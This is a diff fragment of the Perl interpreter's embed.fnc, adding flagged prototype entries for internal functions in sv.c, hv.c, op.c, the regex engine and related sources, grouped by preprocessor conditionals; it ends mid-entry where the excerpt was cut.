+Ap |void |do_magic_dump |I32 level|NN PerlIO *file|NULLOK const MAGIC *mg|I32 nest \
+ |I32 maxnest|bool dumpops|STRLEN pvlim
+Ap |void |do_op_dump |I32 level|NN PerlIO *file|NULLOK const OP *o
+Ap |void |do_pmop_dump |I32 level|NN PerlIO *file|NULLOK const PMOP *pm
+Ap |void |do_sv_dump |I32 level|NN PerlIO *file|NULLOK SV *sv|I32 nest \
+ |I32 maxnest|bool dumpops|STRLEN pvlim
+Ap |void |magic_dump |NULLOK const MAGIC *mg
+Ap |void |reginitcolors
+ApdRmb |char* |sv_2pv_nolen |NN SV* sv
+ApdRmb |char* |sv_2pvutf8_nolen|NN SV* sv
+ApdRmb |char* |sv_2pvbyte_nolen|NN SV* sv
+AmdbR |char* |sv_pv |NN SV *sv
+AmdbR |char* |sv_pvutf8 |NN SV *sv
+AmdbR |char* |sv_pvbyte |NN SV *sv
+Amdb |STRLEN |sv_utf8_upgrade|NN SV *sv
+Amd |STRLEN |sv_utf8_upgrade_nomg|NN SV *sv
+ApdM |bool |sv_utf8_downgrade|NN SV *const sv|const bool fail_ok
+Apd |void |sv_utf8_encode |NN SV *const sv
+ApdM |bool |sv_utf8_decode |NN SV *const sv
+Apdmb |void |sv_force_normal|NN SV *sv
+Apd |void |sv_force_normal_flags|NN SV *const sv|const U32 flags
+pX |SSize_t|tmps_grow_p |SSize_t ix
+Apd |SV* |sv_rvweaken |NN SV *const sv
+AnpPMd |SV* |sv_get_backrefs|NN SV *const sv
+: This is indirectly referenced by globals.c. This is somewhat annoying.
+p |int |magic_killbackrefs|NN SV *sv|NN MAGIC *mg
+Ap |OP* |newANONATTRSUB |I32 floor|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
+Am |CV* |newATTRSUB |I32 floor|NULLOK OP *o|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
+pX |CV* |newATTRSUB_x |I32 floor|NULLOK OP *o|NULLOK OP *proto \
+ |NULLOK OP *attrs|NULLOK OP *block \
+ |bool o_is_gv
+Ap |CV * |newMYSUB |I32 floor|NN OP *o|NULLOK OP *proto \
+ |NULLOK OP *attrs|NULLOK OP *block
+p |CV* |newSTUB |NN GV *gv|bool fake
+: Used in perly.y
+p |OP * |my_attrs |NN OP *o|NULLOK OP *attrs
+#if defined(USE_ITHREADS)
+ApR |PERL_CONTEXT*|cx_dup |NULLOK PERL_CONTEXT* cx|I32 ix|I32 max|NN CLONE_PARAMS* param
+ApR |PERL_SI*|si_dup |NULLOK PERL_SI* si|NN CLONE_PARAMS* param
+Apa |ANY* |ss_dup |NN PerlInterpreter* proto_perl|NN CLONE_PARAMS* param
+ApR |void* |any_dup |NULLOK void* v|NN const PerlInterpreter* proto_perl
+ApR |HE* |he_dup |NULLOK const HE* e|bool shared|NN CLONE_PARAMS* param
+ApR |HEK* |hek_dup |NULLOK HEK* e|NN CLONE_PARAMS* param
+Ap |void |re_dup_guts |NN const REGEXP *sstr|NN REGEXP *dstr \
+ |NN CLONE_PARAMS* param
+Ap |PerlIO*|fp_dup |NULLOK PerlIO *const fp|const char type|NN CLONE_PARAMS *const param
+ApR |DIR* |dirp_dup |NULLOK DIR *const dp|NN CLONE_PARAMS *const param
+ApR |GP* |gp_dup |NULLOK GP *const gp|NN CLONE_PARAMS *const param
+ApR |MAGIC* |mg_dup |NULLOK MAGIC *mg|NN CLONE_PARAMS *const param
+#if defined(PERL_IN_SV_C)
+s |SV ** |sv_dup_inc_multiple|NN SV *const *source|NN SV **dest \
+ |SSize_t items|NN CLONE_PARAMS *const param
+sR |SV* |sv_dup_common |NN const SV *const sstr \
+ |NN CLONE_PARAMS *const param
+#endif
+ApR |SV* |sv_dup |NULLOK const SV *const sstr|NN CLONE_PARAMS *const param
+ApR |SV* |sv_dup_inc |NULLOK const SV *const sstr \
+ |NN CLONE_PARAMS *const param
+Ap |void |rvpv_dup |NN SV *const dstr|NN const SV *const sstr|NN CLONE_PARAMS *const param
+Ap |yy_parser*|parser_dup |NULLOK const yy_parser *const proto|NN CLONE_PARAMS *const param
+#endif
+Apa |PTR_TBL_t*|ptr_table_new
+ApR |void* |ptr_table_fetch|NN PTR_TBL_t *const tbl|NULLOK const void *const sv
+Ap |void |ptr_table_store|NN PTR_TBL_t *const tbl|NULLOK const void *const oldsv \
+ |NN void *const newsv
+Ap |void |ptr_table_split|NN PTR_TBL_t *const tbl
+ApD |void |ptr_table_clear|NULLOK PTR_TBL_t *const tbl
+Ap |void |ptr_table_free|NULLOK PTR_TBL_t *const tbl
+#if defined(HAVE_INTERP_INTERN)
+Ap |void |sys_intern_clear
+Ap |void |sys_intern_init
+# if defined(USE_ITHREADS)
+Ap |void |sys_intern_dup |NN struct interp_intern* src|NN struct interp_intern* dst
+# endif
+#endif
+
+AmopP |const XOP * |custom_op_xop |NN const OP *o
+ApR |const char * |custom_op_name |NN const OP *o
+ApR |const char * |custom_op_desc |NN const OP *o
+pRX |XOPRETANY |custom_op_get_field |NN const OP *o|const xop_flags_enum field
+Aop |void |custom_op_register |NN Perl_ppaddr_t ppaddr \
+ |NN const XOP *xop
+
+Adp |void |sv_nosharing |NULLOK SV *sv
+Adpbm |void |sv_nolocking |NULLOK SV *sv
+Adp |bool |sv_destroyable |NULLOK SV *sv
+#ifdef NO_MATHOMS
+Adpbm |void |sv_nounlocking |NULLOK SV *sv
+#else
+Adpb |void |sv_nounlocking |NULLOK SV *sv
+#endif
+Adp |int |nothreadhook
+p |void |init_constants
+
+#if defined(PERL_IN_DOOP_C)
+sR |I32 |do_trans_simple |NN SV * const sv
+sR |I32 |do_trans_count |NN SV * const sv
+sR |I32 |do_trans_complex |NN SV * const sv
+sR |I32 |do_trans_simple_utf8 |NN SV * const sv
+sR |I32 |do_trans_count_utf8 |NN SV * const sv
+sR |I32 |do_trans_complex_utf8 |NN SV * const sv
+#endif
+
+#if defined(PERL_IN_GV_C)
+s |void |gv_init_svtype |NN GV *gv|const svtype sv_type
+s |void |gv_magicalize_isa |NN GV *gv
+s |bool|parse_gv_stash_name|NN HV **stash|NN GV **gv \
+ |NN const char **name|NN STRLEN *len \
+ |NN const char *nambeg|STRLEN full_len \
+ |const U32 is_utf8|const I32 add
+s |bool|find_default_stash|NN HV **stash|NN const char *name \
+ |STRLEN len|const U32 is_utf8|const I32 add \
+ |const svtype sv_type
+s |bool|gv_magicalize|NN GV *gv|NN HV *stash|NN const char *name \
+ |STRLEN len|bool addmg \
+ |const svtype sv_type
+s |void|maybe_multimagic_gv|NN GV *gv|NN const char *name|const svtype sv_type
+s |bool|gv_is_in_main|NN const char *name|STRLEN len \
+ |const U32 is_utf8
+s |HV* |require_tie_mod|NN GV *gv|NN const char *varpv|NN SV* namesv \
+ |NN const char *methpv|const U32 flags
+#endif
+
+#if defined(PERL_IN_HV_C) || defined(PERL_IN_SV_C)
+po |SV* |hfree_next_entry |NN HV *hv|NN STRLEN *indexp
+#endif
+
+#if defined(PERL_IN_HV_C)
+s |void |hsplit |NN HV *hv|STRLEN const oldsize|STRLEN newsize
+s |void |hv_free_entries |NN HV *hv
+s |SV* |hv_free_ent_ret|NN HV *hv|NN HE *entry
+sa |HE* |new_he
+sanR |HEK* |save_hek_flags |NN const char *str|I32 len|U32 hash|int flags
+sn |void |hv_magic_check |NN HV *hv|NN bool *needs_copy|NN bool *needs_store
+s |void |unshare_hek_or_pvn|NULLOK const HEK* hek|NULLOK const char* str|I32 len|U32 hash
+sR |HEK* |share_hek_flags|NN const char *str|I32 len|U32 hash|int flags
+rs |void |hv_notallowed |int flags|NN const char *key|I32 klen|NN const char *msg
+in |U32|ptr_hash|PTRV u
+s |struct xpvhv_aux*|hv_auxinit|NN HV *hv
+sn |struct xpvhv_aux*|hv_auxinit_internal|NN struct xpvhv_aux *iter
+sM |SV* |hv_delete_common|NULLOK HV *hv|NULLOK SV *keysv \
+ |NULLOK const char *key|STRLEN klen|int k_flags|I32 d_flags \
+ |U32 hash
+sM |void |clear_placeholders |NN HV *hv|U32 items
+#endif
+
+#if defined(PERL_IN_MG_C)
+s |void |save_magic_flags|I32 mgs_ix|NN SV *sv|U32 flags
+-s |int |magic_methpack |NN SV *sv|NN const MAGIC *mg|NN SV *meth
+s |SV* |magic_methcall1|NN SV *sv|NN const MAGIC *mg \
+ |NN SV *meth|U32 flags \
+ |int n|NULLOK SV *val
+s |void |restore_magic |NULLOK const void *p
+s |void |unwind_handler_stack|NULLOK const void *p
+s |void |fixup_errno_string|NN SV* sv
+
+#endif
+
+#if defined(PERL_IN_OP_C)
+sRn |bool |is_handle_constructor|NN const OP *o|I32 numargs
+sR |I32 |assignment_type|NULLOK const OP *o
+s |void |forget_pmop |NN PMOP *const o
+s |void |find_and_forget_pmops |NN OP *o
+s |void |cop_free |NN COP *cop
+s |OP* |modkids |NULLOK OP *o|I32 type
+s |OP* |scalarboolean |NN OP *o
+sR |OP* |search_const |NN OP *o
+sR |OP* |new_logop |I32 type|I32 flags|NN OP **firstp|NN OP **otherp
+s |void |simplify_sort |NN OP *o
+sRn |bool |scalar_mod_type|NULLOK const OP *o|I32 type
+s |OP * |my_kid |NULLOK OP *o|NULLOK OP *attrs|NN OP **imopsp
+s |OP * |dup_attrlist |NN OP *o
+s |void |apply_attrs |NN HV *stash|NN SV *target|NULLOK OP *attrs
+s |void |apply_attrs_my |NN HV *stash|NN OP *target|NULLOK OP *attrs|NN OP **imopsp
+s |void |bad_type_pv |I32 n|NN const char *t|NN const OP *o|NN const OP *kid
+s |void |bad_type_gv |I32 n|NN GV *gv|NN const OP *kid|NN const char *t
+s |void |no_bareword_allowed|NN OP *o
+sR |OP* |no_fh_allowed|NN OP *o
+sR |OP* |too_few_arguments_pv|NN OP *o|NN const char* name|U32 flags
+s |OP* |too_many_arguments_pv|NN OP *o|NN const char* name|U32 flags
+s |bool |looks_like_bool|NN const OP* o
+s |OP* |newGIVWHENOP |NULLOK OP* cond|NN OP *block \
+ |I32 enter_opcode|I32 leave_opcode \
+ |PADOFFSET entertarg
+s |OP* |ref_array_or_hash|NULLOK OP* cond
+s |bool |process_special_blocks |I32 floor \
+ |NN const char *const fullname\
+ |NN GV *const gv|NN CV *const cv
+s |void |clear_special_blocks |NN const char *const fullname\
+ |NN GV *const gv|NN CV *const cv
+#endif
+Xpa |void* |Slab_Alloc |size_t sz
+Xp |void |Slab_Free |NN void *op
+#if defined(PERL_DEBUG_READONLY_OPS)
+# if defined(PERL_CORE)
+px |void |Slab_to_ro |NN OPSLAB *slab
+px |void |Slab_to_rw |NN OPSLAB *const slab
+# endif
+: Used in OpREFCNT_inc() in sv.c
+poxM |OP * |op_refcnt_inc |NULLOK OP *o
+: FIXME - can be static.
+poxM |PADOFFSET |op_refcnt_dec |NN OP *o
+#endif
+
+#if defined(PERL_IN_PERL_C)
+s |void |find_beginning |NN SV* linestr_sv|NN PerlIO *rsfp
+s |void |forbid_setid |const char flag|const bool suidscript
+s |void |incpush |NN const char *const dir|STRLEN len \
+ |U32 flags
+s |SV* |mayberelocate |NN const char *const dir|STRLEN len \
+ |U32 flags
+s |void |incpush_use_sep|NN const char *p|STRLEN len|U32 flags
+s |void |init_interp
+s |void |init_ids
+s |void |init_main_stash
+s |void |init_perllib
+s |void |init_postdump_symbols|int argc|NN char **argv|NULLOK char **env
+s |void |init_predump_symbols
+rs |void |my_exit_jump
+s |void |nuke_stacks
+s |PerlIO *|open_script |NN const char *scriptname|bool dosearch \
+ |NN bool *suidscript
+sr |void |usage
+#ifndef SETUID_SCRIPTS_ARE_SECURE_NOW
+so |void |validate_suid |NN PerlIO *rsfp
+#endif
+sr |void |minus_v
+
+s |void* |parse_body |NULLOK char **env|XSINIT_t xsinit
+rs |void |run_body |I32 oldscope
+# ifndef PERL_IS_MINIPERL
+s |SV * |incpush_if_exists|NN AV *const av|NN SV *dir|NN SV *const stem
+# endif
+#endif
+
+#if defined(PERL_IN_PP_C)
+s |size_t |do_chomp |NN SV *retval|NN SV *sv|bool chomping
+s |OP* |do_delete_local
+sR |SV* |refto |NN SV* sv
+#endif
+#if defined(PERL_IN_PP_C) || defined(PERL_IN_PP_HOT_C)
+: Used in pp_hot.c
+pRxo |GV* |softref2xv |NN SV *const sv|NN const char *const what \
+ |const svtype type|NN SV ***spp
+#endif
+
+#if defined(PERL_IN_PP_PACK_C)
+s |I32 |unpack_rec |NN struct tempsym* symptr|NN const char *s \
+ |NN const char *strbeg|NN const char *strend|NULLOK const char **new_s
+s |SV ** |pack_rec |NN SV *cat|NN struct tempsym* symptr|NN SV **beglist|NN SV **endlist
+s |SV* |mul128 |NN SV *sv|U8 m
+s |I32 |measure_struct |NN struct tempsym* symptr
+s |bool |next_symbol |NN struct tempsym* symptr
+sR |SV* |is_an_int |NN const char *s|STRLEN l
+s |int |div128 |NN SV *pnum|NN bool *done
+s |const char *|group_end |NN const char *patptr|NN const char *patend \
+ |char ender
+sR |const char *|get_num |NN const char *patptr|NN I32 *lenptr
+ns |bool |need_utf8 |NN const char *pat|NN const char *patend
+ns |char |first_symbol |NN const char *pat|NN const char *patend
+sR |char * |sv_exp_grow |NN SV *sv|STRLEN needed
+snR |char * |my_bytes_to_utf8|NN const U8 *start|STRLEN len|NN char *dest \
+ |const bool needs_swap
+#endif
+
+#if defined(PERL_IN_PP_CTL_C)
+sR |OP* |docatch |NULLOK OP *o
+sR |OP* |dofindlabel |NN OP *o|NN const char *label|STRLEN len \
+ |U32 flags|NN OP **opstack|NN OP **oplimit
+s |MAGIC *|doparseform |NN SV *sv
+snR |bool |num_overflow |NV value|I32 fldsize|I32 frcsize
+sR |I32 |dopoptoeval |I32 startingblock
+sR |I32 |dopoptogivenfor|I32 startingblock
+sR |I32 |dopoptolabel |NN const char *label|STRLEN len|U32 flags
+sR |I32 |dopoptoloop |I32 startingblock
+sR |I32 |dopoptosub_at |NN const PERL_CONTEXT* cxstk|I32 startingblock
+sR |I32 |dopoptowhen |I32 startingblock
+s |void |save_lines |NULLOK AV *array|NN SV *sv
+s |bool |doeval_compile |U8 gimme \
+ |NULLOK CV* outside|U32 seq|NULLOK HV* hh
+sR |PerlIO *|check_type_and_open|NN SV *name
+#ifndef PERL_DISABLE_PMC
+sR |PerlIO *|doopen_pm |NN SV *name
+#endif
+iRn |bool |path_is_searchable|NN const char *name
+sR |I32 |run_user_filter|int idx|NN SV *buf_sv|int maxlen
+sR |PMOP* |make_matcher |NN REGEXP* re
+sR |bool |matcher_matches_sv|NN PMOP* matcher|NN SV* sv
+s |void |destroy_matcher|NN PMOP* matcher
+s |OP* |do_smartmatch |NULLOK HV* seen_this \
+ |NULLOK HV* seen_other|const bool copied
+#endif
+
+#if defined(PERL_IN_PP_HOT_C)
+s |void |do_oddball |NN SV **oddkey|NN SV **firstkey
+i |HV* |opmethod_stash |NN SV* meth
+#endif
+
+#if defined(PERL_IN_PP_SORT_C)
+s |I32 |sv_ncmp |NN SV *const a|NN SV *const b
+s |I32 |sv_i_ncmp |NN SV *const a|NN SV *const b
+s |I32 |amagic_ncmp |NN SV *const a|NN SV *const b
+s |I32 |amagic_i_ncmp |NN SV *const a|NN SV *const b
+s |I32 |amagic_cmp |NN SV *const str1|NN SV *const str2
+# ifdef USE_LOCALE_COLLATE
+s |I32 |amagic_cmp_locale|NN SV *const str1|NN SV *const str2
+# endif
+s |I32 |sortcv |NN SV *const a|NN SV *const b
+s |I32 |sortcv_xsub |NN SV *const a|NN SV *const b
+s |I32 |sortcv_stacked |NN SV *const a|NN SV *const b
+s |void |qsortsvu |NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t compare
+#endif
+
+#if defined(PERL_IN_PP_SYS_C)
+s |OP* |doform |NN CV *cv|NN GV *gv|NULLOK OP *retop
+# if !defined(HAS_MKDIR) || !defined(HAS_RMDIR)
+sR |int |dooneliner |NN const char *cmd|NN const char *filename
+# endif
+s |SV * |space_join_names_mortal|NN char *const *array
+#endif
+p |OP * |tied_method|NN SV *methname|NN SV **sp \
+ |NN SV *const sv|NN const MAGIC *const mg \
+ |const U32 flags|U32 argc|...
+
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+Ep |void |regprop |NULLOK const regexp *prog|NN SV* sv|NN const regnode* o|NULLOK const regmatch_info *reginfo \
+ |NULLOK const RExC_state_t *pRExC_state
+Ep |int |re_printf |NN const char *fmt|...
+#endif
+#if defined(PERL_IN_REGCOMP_C)
+Es |regnode*|reg |NN RExC_state_t *pRExC_state \
+ |I32 paren|NN I32 *flagp|U32 depth
+Es |regnode*|regnode_guts |NN RExC_state_t *pRExC_state \
+ |const U8 op \
+ |const STRLEN extra_len \
+ |NN const char* const name
+Es |regnode*|reganode |NN RExC_state_t *pRExC_state|U8 op \
+ |U32 arg
+Es |regnode*|reg2Lanode |NN RExC_state_t *pRExC_state \
+ |const U8 op \
+ |const U32 arg1 \
+ |const I32 arg2
+Es |regnode*|regatom |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|U32 depth
+Es |regnode*|regbranch |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|I32 first|U32 depth
+Es |void |set_ANYOF_arg |NN RExC_state_t* const pRExC_state \
+ |NN regnode* const node \
+ |NULLOK SV* const cp_list \
+ |NULLOK SV* const runtime_defns \
+ |NULLOK SV* const only_utf8_locale_list \
+ |NULLOK SV* const swash \
+ |const bool has_user_defined_property
+Es |void |output_or_return_posix_warnings \
+ |NN RExC_state_t *pRExC_state \
+ |NN AV* posix_warnings \
+ |NULLOK AV** return_posix_warnings
+Es |AV* |add_multi_match|NULLOK AV* multi_char_matches \
+ |NN SV* multi_string \
+ |const STRLEN cp_count
+Es |regnode*|regclass |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|U32 depth|const bool stop_at_1 \
+ |bool allow_multi_fold \
+ |const bool silence_non_portable \
+ |const bool strict \
+ |bool optimizable \
+ |NULLOK SV** ret_invlist \
+ |NULLOK AV** return_posix_warnings
+Es |void|add_above_Latin1_folds|NN RExC_state_t *pRExC_state|const U8 cp \
+ |NN SV** invlist
+Ei |regnode*|handle_named_backref|NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp \
+ |NN char * parse_start \
+ |char ch
+EsnP |unsigned int|regex_set_precedence|const U8 my_operator
+Es |regnode*|handle_regex_sets|NN RExC_state_t *pRExC_state \
+ |NULLOK SV ** return_invlist \
+ |NN I32 *flagp|U32 depth \
+ |NN char * const oregcomp_parse
+Es |void|parse_lparen_question_flags|NN RExC_state_t *pRExC_state
+Es |regnode*|reg_node |NN RExC_state_t *pRExC_state|U8 op
+Es |UV |reg_recode |const U8 value|NN SV **encp
+Es |regnode*|regpiece |NN RExC_state_t *pRExC_state \
+ |NN I32 *flagp|U32 depth
+Es |bool |grok_bslash_N |NN RExC_state_t *pRExC_state \
+ |NULLOK regnode** nodep \
+ |NULLOK UV *code_point_p \
+ |NULLOK int* cp_count \
+ |NN I32 *flagp \
+ |const bool strict \
+ |const U32 depth
+Es |void |reginsert |NN RExC_state_t *pRExC_state \
+ |U8 op|NN regnode *opnd|U32 depth
+Es |void |regtail |NN RExC_state_t * pRExC_state \
+ |NN const regnode * const p \
+ |NN const regnode * const val \
+ |const U32 depth
+Es |SV * |reg_scan_name |NN RExC_state_t *pRExC_state \
+ |U32 flags
+Es |U32 |join_exact |NN RExC_state_t *pRExC_state \
+ |NN regnode *scan|NN UV *min_subtract \
+ |NN bool *unfolded_multi_char \
+ |U32 flags|NULLOK regnode *val|U32 depth
+Ei |void |alloc_maybe_populate_EXACT|NN RExC_state_t *pRExC_state \
+ |NN regnode *node|NN I32 *flagp|STRLEN len \
+ |UV code_point|bool downgradable
+Ein |U8 |compute_EXACTish|NN RExC_state_t *pRExC_state
+Es |void |nextchar |NN RExC_state_t *pRExC_state
+Es |void |skip_to_be_ignored_text|NN RExC_state_t *pRExC_state \
+ |NN char ** p \
+ |const bool force_to_xmod
+Ein |char * |reg_skipcomment|NN RExC_state_t *pRExC_state|NN char * p
+Es |void |scan_commit |NN const RExC_state_t *pRExC_state \
+ |NN struct scan_data_t *data \
+ |NN SSize_t *minlenp \
+ |int is_inf
+Es |void |populate_ANYOF_from_invlist|NN regnode *node|NN SV** invlist_ptr
+Es |void |ssc_anything |NN regnode_ssc *ssc
+EsRn |int |ssc_is_anything|NN const regnode_ssc *ssc
+Es |void |ssc_init |NN const RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc
+EsRn |int |ssc_is_cp_posixl_init|NN const RExC_state_t *pRExC_state \
+ |NN const regnode_ssc *ssc
+Es |void |ssc_and |NN const RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc \
+ |NN const regnode_charclass *and_with
+Es |void |ssc_or |NN const RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc \
+ |NN const regnode_charclass *or_with
+Es |SV* |get_ANYOF_cp_list_for_ssc \
+ |NN const RExC_state_t *pRExC_state \
+ |NN const regnode_charclass* const node
+Ei |void |ssc_intersection|NN regnode_ssc *ssc \
+ |NN SV* const invlist|const bool invert_2nd
+Ei |void |ssc_union |NN regnode_ssc *ssc \
+ |NN SV* const invlist|const bool invert_2nd
+Ei |void |ssc_add_range |NN regnode_ssc *ssc \
+ |UV const start|UV const end
+Ei |void |ssc_cp_and |NN regnode_ssc *ssc \
+ |UV const cp
+Ein |void |ssc_clear_locale|NN regnode_ssc *ssc
+Ens |bool |is_ssc_worth_it|NN const RExC_state_t * pRExC_state \
+ |NN const regnode_ssc * ssc
+Es |void |ssc_finalize |NN RExC_state_t *pRExC_state \
+ |NN regnode_ssc *ssc
+Es |SSize_t|study_chunk |NN RExC_state_t *pRExC_state \
+ |NN regnode **scanp|NN SSize_t *minlenp \
+ |NN SSize_t *deltap|NN regnode *last \
+ |NULLOK struct scan_data_t *data \
+ |I32 stopparen|U32 recursed_depth \
+ |NULLOK regnode_ssc *and_withp \
+ |U32 flags|U32 depth
+EsRn |U32 |add_data |NN RExC_state_t* const pRExC_state \
+ |NN const char* const s|const U32 n
+rs |void |re_croak2 |bool utf8|NN const char* pat1|NN const char* pat2|...
+Es |int |handle_possible_posix \
+ |NN RExC_state_t *pRExC_state \
+ |NN const char* const s \
+ |NULLOK char ** updated_parse_ptr \
+ |NULLOK AV** posix_warnings \
+ |const bool check_only
+Es |I32 |make_trie |NN RExC_state_t *pRExC_state \
+ |NN regnode *startbranch|NN regnode *first \
+ |NN regnode *last|NN regnode *tail \
+ |U32 word_count|U32 flags|U32 depth
+Es |regnode *|construct_ahocorasick_from_trie|NN RExC_state_t *pRExC_state \
+ |NN regnode *source|U32 depth
+EnPs |const char *|cntrl_to_mnemonic|const U8 c
+EnPs |int |edit_distance |NN const UV *src \
+ |NN const UV *tgt \
+ |const STRLEN x \
+ |const STRLEN y \
+ |const SSize_t maxDistance
+# ifdef DEBUGGING
+Ep |int |re_indentf |NN const char *fmt|U32 depth|...
+Es |void |regdump_intflags|NULLOK const char *lead| const U32 flags
+Es |void |regdump_extflags|NULLOK const char *lead| const U32 flags
+Es |const regnode*|dumpuntil|NN const regexp *r|NN const regnode *start \
+ |NN const regnode *node \
+ |NULLOK const regnode *last \
+ |NULLOK const regnode *plast \
+ |NN SV* sv|I32 indent|U32 depth
+Es |void |put_code_point |NN SV* sv|UV c
+Es |bool |put_charclass_bitmap_innards|NN SV* sv \
+ |NN char* bitmap \
+ |NULLOK SV* nonbitmap_invlist \
+ |NULLOK SV* only_utf8_locale_invlist\
+ |NULLOK const regnode * const node
+Es |SV* |put_charclass_bitmap_innards_common \
+ |NN SV* invlist \
+ |NULLOK SV* posixes \
+ |NULLOK SV* only_utf8 \
+ |NULLOK SV* not_utf8 \
+ |NULLOK SV* only_utf8_locale \
+ |const bool invert
+Es |void |put_charclass_bitmap_innards_invlist \
+ |NN SV *sv \
+ |NN SV* invlist
+Es |void |put_range |NN SV* sv|UV start|const UV end \
+ |const bool allow_literals
+Es |void |dump_trie |NN const struct _reg_trie_data *trie\
+ |NULLOK HV* widecharmap|NN AV *revcharmap\
+ |U32 depth
+Es |void |dump_trie_interim_list|NN const struct _reg_trie_data *trie\
+ |NULLOK HV* widecharmap|NN AV *revcharmap\
+ |U32 next_alloc|U32 depth
+Es |void |dump_trie_interim_table|NN const struct _reg_trie_data *trie\
+ |NULLOK HV* widecharmap|NN AV *revcharmap\
+ |U32 next_alloc|U32 depth
+Es |U8 |regtail_study |NN RExC_state_t *pRExC_state \
+ |NN regnode *p|NN const regnode *val|U32 depth
+# endif
+#endif
+
+#if defined(PERL_IN_REGEXEC_C)
+ERs |bool |isFOO_lc |const U8 classnum|const U8 character
+ERs |bool |isFOO_utf8_lc |const U8 classnum|NN const U8* character
+ERs |SSize_t|regmatch |NN regmatch_info *reginfo|NN char *startpos|NN regnode *prog
+ERs |I32 |regrepeat |NN regexp *prog|NN char **startposp \
+ |NN const regnode *p \
+ |NN regmatch_info *const reginfo \
+ |I32 max \
+ |int depth
+ERs |bool |regtry |NN regmatch_info *reginfo|NN char **startposp
+ERs |bool |reginclass |NULLOK regexp * const prog \
+ |NN const regnode * const n \
+ |NN const U8 * const p \
+ |NN const U8 * const p_end \
+ |bool const utf8_target
+Es |CHECKPOINT|regcppush |NN const regexp *rex|I32 parenfloor\
+ |U32 maxopenparen
+Es |void |regcppop |NN regexp *rex\
+ |NN U32 *maxopenparen_p
+ERsn |U8* |reghop3 |NN U8 *s|SSize_t off|NN const U8 *lim
+ERsn |U8* |reghop4 |NN U8 *s|SSize_t off|NN const U8 *llim \
+ |NN const U8 *rlim
+ERsn |U8* |reghopmaybe3 |NN U8 *s|SSize_t off|NN const U8 *lim
+ERs |char* |find_byclass |NN regexp * prog|NN const regnode *c \
+ |NN char *s|NN const char *strend \
+ |NULLOK regmatch_info *reginfo
+Es |void |to_utf8_substr |NN regexp * prog
+Es |bool |to_byte_substr |NN regexp * prog
+ERsn |I32 |reg_check_named_buff_matched |NN const regexp *rex \
+ |NN const regnode *scan
+EinR |bool |isGCB |const GCB_enum before|const GCB_enum after
+EsR |bool |isLB |LB_enum before \
+ |LB_enum after \
+ |NN const U8 * const strbeg \
+ |NN const U8 * const curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |LB_enum|advance_one_LB |NN U8 ** curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |LB_enum|backup_one_LB |NN const U8 * const strbeg \
+ |NN U8 ** curpos \
+ |const bool utf8_target
+EsR |bool |isSB |SB_enum before \
+ |SB_enum after \
+ |NN const U8 * const strbeg \
+ |NN const U8 * const curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |SB_enum|advance_one_SB |NN U8 ** curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |SB_enum|backup_one_SB |NN const U8 * const strbeg \
+ |NN U8 ** curpos \
+ |const bool utf8_target
+EsR |bool |isWB |WB_enum previous \
+ |WB_enum before \
+ |WB_enum after \
+ |NN const U8 * const strbeg \
+ |NN const U8 * const curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target
+EsR |WB_enum|advance_one_WB |NN U8 ** curpos \
+ |NN const U8 * const strend \
+ |const bool utf8_target \
+ |const bool skip_Extend_Format
+EsR |WB_enum|backup_one_WB |NN WB_enum * previous \
+ |NN const U8 * const strbeg \
+ |NN U8 ** curpos \
+ |const bool utf8_target
+# ifdef DEBUGGING
+Es |void |dump_exec_pos |NN const char *locinput|NN const regnode *scan|NN const char *loc_regeol\
+ |NN const char *loc_bostr|NN const char *loc_reg_starttry|const bool do_utf8|const U32 depth
+Es |void |debug_start_match|NN const REGEXP *prog|const bool do_utf8\
+ |NN const char *start|NN const char *end\
+ |NN const char *blurb
+
+Ep |int |re_exec_indentf |NN const char *fmt|U32 depth|...
+# endif
+#endif
+
+#if defined(PERL_IN_DUMP_C)
+s |CV* |deb_curcv |I32 ix
+s |void |debprof |NN const OP *o
+s |UV |sequence_num |NULLOK const OP *o
+s |SV* |pm_description |NN const PMOP *pm
+#endif
+
+#if defined(PERL_IN_SCOPE_C)
+s |SV* |save_scalar_at |NN SV **sptr|const U32 flags
+#endif
+
+#if defined(PERL_IN_GV_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_PAD_C) || defined(PERL_IN_OP_C)
+: Used in gv.c
+po |void |sv_add_backref |NN SV *const tsv|NN SV *const sv
+#endif
+
+#if defined(PERL_IN_HV_C) || defined(PERL_IN_MG_C) || defined(PERL_IN_SV_C)
+: Used in hv.c and mg.c
+poM |void |sv_kill_backrefs |NN SV *const sv|NULLOK AV *const av
+#endif
+
+#if defined(PERL_IN_SV_C) || defined (PERL_IN_OP_C)
+pR |SV * |varname |NULLOK const GV *const gv|const char gvtype \
+ |PADOFFSET targ|NULLOK const SV *const keyname \
+ |I32 aindex|int subscript_type
+#endif
+
+pX |void |sv_del_backref |NN SV *const tsv|NN SV *const sv
+#if defined(PERL_IN_SV_C)
+nsR |char * |uiv_2buf |NN char *const buf|const IV iv|UV uv|const int is_uv|NN char **const peob
+i |void |sv_unglob |NN SV *const sv|U32 flags
+s |const char *|sv_display |NN SV *const sv|NN char *tmpbuf|STRLEN tmpbuf_size
+s |void |not_a_number |NN SV *const sv
+s |void |not_incrementable |NN SV *const sv
+s |I32 |visit |NN SVFUNC_t f|const U32 flags|const U32 mask
+# ifdef DEBUGGING
+s |void |del_sv |NN SV *p
+# endif
+# if !defined(NV_PRESERVES_UV)
+# ifdef DEBUGGING
+s |int |sv_2iuv_non_preserve |NN SV *const sv|I32 numtype
+# else
+s |int |sv_2iuv_non_preserve |NN SV *const sv
+# endif
+# endif
+sR |I32 |expect_number |NN char **const pattern
+sn |STRLEN |sv_pos_u2b_forwards|NN const U8 *const start \
